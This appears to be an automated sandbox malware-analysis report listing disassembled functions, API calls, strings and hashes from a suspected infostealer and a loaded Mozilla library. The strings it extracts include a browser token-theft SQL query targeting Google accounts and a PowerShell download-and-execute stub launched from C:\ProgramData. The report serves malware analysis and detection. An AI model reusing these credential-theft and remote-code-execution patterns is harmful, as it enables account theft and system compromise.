API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 07ee80545a88a50b67c6893473d5cd39dfa74183b460a8a45ad2d90a92d27229
Instruction ID: 8d2e93acb34d7fe8204ffb43bb3482b5e0f54c01ab9b5f89b2fe7dec0a0fa33d
Opcode Fuzzy Hash: 07ee80545a88a50b67c6893473d5cd39dfa74183b460a8a45ad2d90a92d27229
Instruction Fuzzy Hash: 3501D870A0410187DB309B6EDB26BA733B5AB0632DF040D37D90686F42D625D594C9DB

Function 6C85B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C85B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C85B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C85B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C85B5F4
__Init_thread_footer.LIBCMT ref: 6C85B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C85B61F
std::_Facet_Register.LIBCPMT ref: 6C85B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C85B655

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 219fc62c3776914cbb0fd7ce74da94ebb01d56859725051615a957a9c42c9875
Instruction ID: 8b4c7e8da12113cf87e9f7fd4ac01556adc95c5fc2e76343b29660f711677d9e
Opcode Fuzzy Hash: 219fc62c3776914cbb0fd7ce74da94ebb01d56859725051615a957a9c42c9875
Instruction Fuzzy Hash: 9E31C472B001158BCB20DB6AC9589BEB7B5FF9A32AB500935E90297740DB30A816CFD1

Function 004085F0 Relevance: 10.8, APIs: 4, Strings: 3, Instructions: 282stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Part of subcall function 00406E90: memset.MSVCRT ref: 00406EE7
Part of subcall function 00406E90: LocalAlloc.KERNEL32(00000040,?,?,?,?), ref: 00406F1E

lstrlenA.KERNEL32(00000000), ref: 004087C3

Part of subcall function 00410DA0: LocalAlloc.KERNEL32(00000040,?,?,00000000,00000030,?,00413026,00000000,00000000), ref: 00410DBC

StrStrA.SHLWAPI(00000000,AccountId), ref: 004087E9
lstrlenA.KERNEL32(00000000), ref: 004088AE
lstrlenA.KERNEL32(00000000), ref: 004088C2

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 00408734
GoogleAccounts, xrefs: 0040862A, 0040869F
AccountId, xrefs: 004087E3

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memset
String ID: AccountId$GoogleAccounts$SELECT service, encrypted_token FROM token_service
API String ID: 4178852800-465000181
Opcode ID: 568e198da4adc8f24cdc6bd16a3d417db71708534151350c852c9e1ad3d71947
Instruction ID: d1bbd6e5856fcda885959fde6298322d97b3b63e12fb4a3bc9dc5dd8f1f24330
Opcode Fuzzy Hash: 568e198da4adc8f24cdc6bd16a3d417db71708534151350c852c9e1ad3d71947
Instruction Fuzzy Hash: A0A10C72910108ABCB14FBA5DD96DEE7378AF54305F54813EF502B25D2EF386A0CCA69

Function 6C81D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C7EEB57,?,?,?,?,?,?,?,?,?), ref: 6C81D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C7EEB57,?), ref: 6C81D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C7EEB57,?), ref: 6C81D673
free.MOZGLUE(?), ref: 6C81D888

Strings

|Enabled, xrefs: 6C81D81E
W~l, xrefs: 6C81D5D9, 6C81D63F

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: W~l$|Enabled
API String ID: 4142949111-2954292968
Opcode ID: 938a60b29c7cc46881dd00f59c1f1242fd3f6cc2c1475bd86ba615090981dd36
Instruction ID: 8c470be4530970e4e2732e015db34b3328b89774c925874fc68e06d24ca70fc6
Opcode Fuzzy Hash: 938a60b29c7cc46881dd00f59c1f1242fd3f6cc2c1475bd86ba615090981dd36
Instruction Fuzzy Hash: 5EA108B0A043198FDB21CF69C5C47AEBBF1AF49318F14886DD895ABB41C735A845CBE1

Function 00411920 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Part of subcall function 00410B80: GetSystemTime.KERNEL32(004201E9,02498710,004201E9,?,00000030,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 00410BA9

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

ShellExecuteEx.SHELL32(0000003C), ref: 00411A8D

Strings

C:\ProgramData\, xrefs: 00411952
')", xrefs: 004119CA
.ps1, xrefs: 004119A8
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00411A1B
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 004119DB

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$.ps1$C:\ProgramData\$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 2215929589-1989157005
Opcode ID: c749aee96a961a25731f9e8aab2a424056017cc55e6b101ad8477896663de482
Instruction ID: 763462aa6786011708e951d8bbc6b21763d0cc7961ecb02673fd73e1f90c7b96
Opcode Fuzzy Hash: c749aee96a961a25731f9e8aab2a424056017cc55e6b101ad8477896663de482
Instruction Fuzzy Hash: 8251E072D10118AADB24FBA1D852EEDB778AF14704F54817FB106728D2EF782A4CCB58

Function 6C831D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C831D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C831BE3,?,?,6C831D96,00000000), ref: 6C831D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C831BE3,?,?,6C831D96,00000000), ref: 6C831D4C
GetCurrentThreadId.KERNEL32 ref: 6C831DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C831DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C831DDA

Part of subcall function 6C831EF0: GetCurrentThreadId.KERNEL32 ref: 6C831F03
Part of subcall function 6C831EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C831DF2,00000000,00000000), ref: 6C831F0C
Part of subcall function 6C831EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C831F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C831DF4

Part of subcall function 6C7FCA10: malloc.MOZGLUE(?), ref: 6C7FCA26

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 33843113e537334002e18b8294f36cc19522ec3251d8306fcb7ed541b757fb5a
Instruction ID: 20c257e673f68f8daffd1ee2fe3e5096aa16e849a122dfe6ecc646826ed91f32
Opcode Fuzzy Hash: 33843113e537334002e18b8294f36cc19522ec3251d8306fcb7ed541b757fb5a
Instruction Fuzzy Hash: C0417BB52007009FCB20CF69C588A66BBF9FB49729F10582DE95A87B41CB71F854CBD1

Function 00415D00 Relevance: 10.6, APIs: 7, Instructions: 107stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,024BFCB8,?,00000104,?,00000104,?,00000104,?,00000104), ref: 00415D5B

Part of subcall function 00410D50: SHGetFolderPathA.SHELL32(00000000,004201E9,00000000,00000000,?,00000000,?), ref: 00410D81

lstrcatA.KERNEL32(?,00000000), ref: 00415D7E
lstrcatA.KERNEL32(?,?), ref: 00415D9A
lstrcatA.KERNEL32(?,?), ref: 00415DAE
lstrcatA.KERNEL32(?,02498E58), ref: 00415DC1
lstrcatA.KERNEL32(?,?), ref: 00415DD5
lstrcatA.KERNEL32(?,024C0330), ref: 00415DE9

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 00410D10: GetFileAttributesA.KERNEL32(00000000,?,?,0040B844,?,00000000,?,00000000,004201E9,004201E9), ref: 00410D1D

Part of subcall function 00415A70: GetProcessHeap.KERNEL32(00000000,0098967F,00000000), ref: 00415A82
Part of subcall function 00415A70: HeapAlloc.KERNEL32(00000000), ref: 00415A89
Part of subcall function 00415A70: wsprintfA.USER32 ref: 00415AA2
Part of subcall function 00415A70: FindFirstFileA.KERNEL32(?,?), ref: 00415AB9
Part of subcall function 00415A70: StrCmpCA.SHLWAPI(?,004201DC), ref: 00415ADC
Part of subcall function 00415A70: StrCmpCA.SHLWAPI(?,004201D8), ref: 00415AF6
Part of subcall function 00415A70: wsprintfA.USER32 ref: 00415B18
Part of subcall function 00415A70: CopyFileA.KERNEL32(?,00000000,00000001), ref: 00415BBC

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Heapwsprintf$AllocAttributesCopyFindFirstFolderPathProcesslstrcpy
String ID:
API String ID: 3853466361-0
Opcode ID: 86abb0df79b3405508c4774c974966dff79eb728d859ae41c992f2a66cddd87b
Instruction ID: ff7054f365ac9ad5022fbea26b0be034ad24d24757db89e595a5bf3da34d5177
Opcode Fuzzy Hash: 86abb0df79b3405508c4774c974966dff79eb728d859ae41c992f2a66cddd87b
Instruction Fuzzy Hash: 784154B294030C67CB14FBB0DC86ED9737C6F54704F0485AAB61562091EBB896C8CFA9

Function 0040D700 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040D719

Part of subcall function 0041F6E0: std::exception::exception.LIBCMT ref: 0041F6F5
Part of subcall function 0041F6E0: __CxxThrowException@8.LIBCMT ref: 0041F70A
Part of subcall function 0041F6E0: std::exception::exception.LIBCMT ref: 0041F71B

std::_Xinvalid_argument.LIBCPMT ref: 0040D73A
std::_Xinvalid_argument.LIBCPMT ref: 0040D755
memcpy.MSVCRT ref: 0040D7BD

Strings

string too long, xrefs: 0040D735, 0040D750
invalid string position, xrefs: 0040D714

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$std::exception::exception$Exception@8Throwmemcpy
String ID: invalid string position$string too long
API String ID: 285807467-4289949731
Opcode ID: dc882b99a412dbd2470de59663475d1485f6c4e2f7cc6017f8159d4113e3c44e
Instruction ID: ba6a0adf41cec2af59ca86b5e3cd8f9bfc1321f78128bfb273516e7882e725fb
Opcode Fuzzy Hash: dc882b99a412dbd2470de59663475d1485f6c4e2f7cc6017f8159d4113e3c44e
Instruction Fuzzy Hash: 8F31CA327002109BD7249E9CE880B6AF3E5EFA5765B200A3FF556DB7C1D778D8848798

Function 6C8284E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8284F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C82850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C82851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C82855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C82856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8285AC

Part of subcall function 6C827670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C8285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C82767F
Part of subcall function 6C827670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C8285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C827693
Part of subcall function 6C827670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C8285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8276A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8285B2

Part of subcall function 6C805E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C805EDB
Part of subcall function 6C805E90: memset.VCRUNTIME140(6C847765,000000E5,55CCCCCC), ref: 6C805F27
Part of subcall function 6C805E90: LeaveCriticalSection.KERNEL32(?), ref: 6C805FB2

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: ddc4cff3c3fc58fbf39240bf8fbd72e0544e907cce26a5d0bd7900317f992206
Instruction ID: 47b3a8946a9b6d703529d674515331c40a7978ed14dd6fb47949bb2db3475653
Opcode Fuzzy Hash: ddc4cff3c3fc58fbf39240bf8fbd72e0544e907cce26a5d0bd7900317f992206
Instruction Fuzzy Hash: 4C2180752006419FDF24DB69CA8CA6A77B5BF4430CF24482DE59BC3B42DB35E988CB91

Function 6C82F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C81CBE8: GetCurrentProcess.KERNEL32(?,6C7E31A7), ref: 6C81CBF1
Part of subcall function 6C81CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7E31A7), ref: 6C81CBFA

Part of subcall function 6C829420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7F4A68), ref: 6C82945E
Part of subcall function 6C829420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C829470
Part of subcall function 6C829420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C829482
Part of subcall function 6C829420: __Init_thread_footer.LIBCMT ref: 6C82949F

GetCurrentThreadId.KERNEL32 ref: 6C82F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C82F598), ref: 6C82F621

Part of subcall function 6C8294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8294EE
Part of subcall function 6C8294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C829508

GetCurrentThreadId.KERNEL32 ref: 6C82F637
AcquireSRWLockExclusive.KERNEL32(6C86F4B8,?,?,00000000,?,6C82F598), ref: 6C82F645
ReleaseSRWLockExclusive.KERNEL32(6C86F4B8,?,?,00000000,?,6C82F598), ref: 6C82F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C82F62A

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 3e1c45d15bd9b3a92fa21d747705932a5d6595600a7d32a766e6a0e2d6f6f335
Instruction ID: 1cfa6b1a8300a158bc08fcbfdb1a34f528174dfdd739fcd49027bc81381c9ec0
Opcode Fuzzy Hash: 3e1c45d15bd9b3a92fa21d747705932a5d6595600a7d32a766e6a0e2d6f6f335
Instruction Fuzzy Hash: 0C11C171205215ABCB20AF5ACA48EB67779FB9636CB502875FA0583F01CB35EC15CBE0

Function 6C82F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C829420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7F4A68), ref: 6C82945E
Part of subcall function 6C829420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C829470
Part of subcall function 6C829420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C829482
Part of subcall function 6C829420: __Init_thread_footer.LIBCMT ref: 6C82949F

GetCurrentThreadId.KERNEL32 ref: 6C82F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C82F561

Part of subcall function 6C8294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8294EE
Part of subcall function 6C8294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C829508

GetCurrentThreadId.KERNEL32 ref: 6C82F577
AcquireSRWLockExclusive.KERNEL32(6C86F4B8), ref: 6C82F585
ReleaseSRWLockExclusive.KERNEL32(6C86F4B8), ref: 6C82F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C82F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C82F499
[I %d/%d] profiler_resume, xrefs: 6C82F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C82F3A8

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 8c8c1e7f82ab7fb80ace04e9ae4f6c797dd2e477fa2492ca99fe122be49f4026
Instruction ID: 3f0ffac107402496102d098ebeaa2b754d6a96ade343aa6a0b63b3bf9074ec3e
Opcode Fuzzy Hash: 8c8c1e7f82ab7fb80ace04e9ae4f6c797dd2e477fa2492ca99fe122be49f4026
Instruction Fuzzy Hash: 04F09075600204ABDB206B6AD94CA7A777DEB9626DF002871FA0583B01CB359805C6E0

Function 6C8205F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C81CFAE,?,?,?,6C7E31A7), ref: 6C8205FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C81CFAE,?,?,?,6C7E31A7), ref: 6C820616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C7E31A7), ref: 6C82061C
